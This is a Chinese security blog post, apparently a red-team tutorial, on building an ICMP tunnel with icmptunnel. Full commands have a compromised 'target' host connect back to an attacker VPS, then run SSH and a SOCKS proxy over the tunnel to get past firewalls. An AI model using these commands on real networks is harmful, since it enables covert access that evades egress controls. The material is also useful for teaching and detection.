内网穿透-ICMP协议

  • A+
所属分类:安全闲碎

内网穿透-ICMP协议

一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚

ICMP协议


通常我们的pingtracert命令是可以无视防火墙进行出网的,而ping、tracert 就是利用的ICMP协议

ICMP协议是Internet控制报文协议。它属于网络层协议,是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

ICMP报文格式如下啊,可以看到icmp是有数据data部分
内网穿透-ICMP协议
内网穿透-ICMP协议
我们ping一下8.8.8.8并抓个icmp的包看看
内网穿透-ICMP协议
内网穿透-ICMP协议
ICMP报文里面的类型、代码、校验和什么的我们不用管,重要的是数据部分(data)
内网穿透-ICMP协议
可以看到啊,我们ping了8.8.8.8,icmp报文的data竟然是abcd......,一看就是没用的填充字符啊
内网穿透-ICMP协议
返回包也是abcd.....这些填充字符

ICMP隧道技术


可以看出ICMP的数据是没用的,如果我们能利用这点空间将abcd改为我们的信息,俩主机互相ping就能传递信息了!
而且ICMP报文是由系统内核处理不占用任何端口,随便你防火墙拦截端口,又拦不住我ICMP。

所以现在的ICMP隧道技术,基本采用修改ICMPECHO和ICMPECHOREPLY两种报文,把消息隐藏在数据中,利用ping或 tracert 命令建立隐蔽通道。

工具


常用的ICMP隧道工具有:icmpsh、Pingtunnel、powershell icmp 、icmptunnel

Icmptunnel
linux工具icmptunnel, 可以将IP流量封装到ICMP echo请求和回复(ping)包中, 通过icmp建立通道穿透防火墙出网
项目地址:https://github.com/jamesbarlow/icmptunnel
项目地址:http://github.com/DhavalKapil/icmptunnel

场景:一台我的vps主机A(192.168.10.1),一台linux目标主机B,只能ICMP协议出网

AB主机git下来然后编译该工具
git clone https://github.com/jamesbarlow/icmptunnel.gitmake
AB主机都需要禁用自带的icmp
sysctl -w net.ipv4.icmp_echo_ignore_all=1echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

A主机为服务器端,以root权限进行监听
./icmptunnel -s(ctrl-z  bg
这时他会创建一个隧道接口tun0,我们需要分配一个ip地址
/sbin/ifconfig tun0 10.10.1.1 netmask 255.255.255.0
内网穿透-ICMP协议
B主机进行回连A主机
./icmptunnelopened tunnel device: tun0connection established.(ctrl-z  bg)
连接成功同样创业一个隧道接口tun0,需要配置一下ip
/sbin/ifconfig tun0 10.10.1.2 netmask 255.255.255.0
内网穿透-ICMP协议
这样我们就有了icmp协议搭建的隧道,我们就可以使用此10.10.1.0/24网段访问B主机

比如ssh连接B主机
ssh xiaogang@10.10.1.2
内网穿透-ICMP协议
或者使用ssh的端口转发开启socks代理,可见《内网穿透-ssh转发技术
ssh -CfNg xiaogang@10.10.1.2 -D 127.0.0.1:1080
这样就可以设置浏览器代理或全局代理连接 socks://VPS:1080

下面是我用浏览器连接A主机的1080端口,访问B主机的web页面
内网穿透-ICMP协议


注意


我们想通过ICMP协议打通隧道,需要服务端和客户端都能使用ICMP协议,也就是能互相ping通。

本文始发于微信公众号(XG小刚):内网穿透-ICMP协议

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: